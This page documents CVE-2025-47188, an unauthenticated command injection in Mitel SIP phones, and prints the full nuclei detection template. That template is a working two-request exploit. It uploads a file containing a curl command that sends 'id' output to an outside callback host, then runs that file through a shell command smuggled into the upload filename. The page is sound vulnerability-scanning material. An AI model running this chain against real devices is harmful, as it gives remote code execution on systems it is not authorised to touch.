Mitel 6000 - OS Command Injection

criticalseverity

6.5CVSS score

42%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones through 6.4 SP4 (R6.4.0.4006), and the 6970 Conference Unit through 6.4 SP4 (R6.4.0.4006) or version V1 R0.1.0, could allow an unauthenticated attacker to conduct a command injection attack due to insufficient parameter sanitization. This template should be run on port 49249/tcp.

Impact

Unauthenticated attackers can execute arbitrary commands, potentially disclosing or modifying sensitive data and disrupting device operation.

Fix

Update to the latest Mitel firmware version beyond 6.4 SP4.

How to confirm it

Send: POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0 ; POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=1&conn=0
Positive when: contains in interactsh_protocol "dns" AND contains in body_1 "ringtone.html"

Run it with nuclei: nuclei -id CVE-2025-47188 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-47188

info:
  name: Mitel 6000 - OS Command Injection
  severity: critical
  author: matejsmycka
  description: |
    A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones through 6.4 SP4 (R6.4.0.4006), and the 6970 Conference Unit through 6.4 SP4 (R6.4.0.4006) or version V1 R0.1.0, could allow an unauthenticated attacker to conduct a command injection attack due to insufficient parameter sanitization. This template should be run on port 49249/tcp.
  impact: |
    Unauthenticated attackers can execute arbitrary commands, potentially disclosing or modifying sensitive data and disrupting device operation.
  remediation: |
    Update to the latest Mitel firmware version beyond 6.4 SP4.
  reference:
    - https://labs.infoguard.ch/posts/cve-2025-47188_mitel_phone_unauthenticated_rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47188
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-47188
    epss-score: 0.42044
    epss-percentile: 0.98704
    cpe: cpe:2.3:a:mitel:6000:*:*:*:*:*:*:*:*
  metadata:
    vendor: mitel
    max-request: 2
    fofa-query: icon_hash="-1940372141" || icon_hash="-447557905"
  tags: cve,cve2025,rce,network,mitel,oast,oob,vkev,vuln

variables:
  waf_file: "524946462400000057415645666d7420100000000100010044ac000088580100020010006461746100000000"
  random_number: "{{rand_base(8)}}"

http:
  - raw:
      - |
       POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0 HTTP/1.1
       Host: {{Hostname}}
       Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f

       ------0ba2fc3a8c91370bd74c5f7ab65fda3f
       Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="{{random_number}}.txt"

       {{hex_decode(waf_file)}}
       curl -d $(id) {{interactsh-url}}
       ------0ba2fc3a8c91370bd74c5f7ab65fda3f--

      - |
       POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=1&conn=0 HTTP/1.1
       Host: {{Hostname}}
       Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f

       ------0ba2fc3a8c91370bd74c5f7ab65fda3f
       Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="fake$(sh ${HOME}userdata${HOME}ringtone${HOME}{{random_number}}.txt).wav"


       This is an invalid WAV file
       ------0ba2fc3a8c91370bd74c5f7ab65fda3f--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body_1
        words:
          - "ringtone.html"

References

Use this check only on systems you are authorised to test. Where the data comes from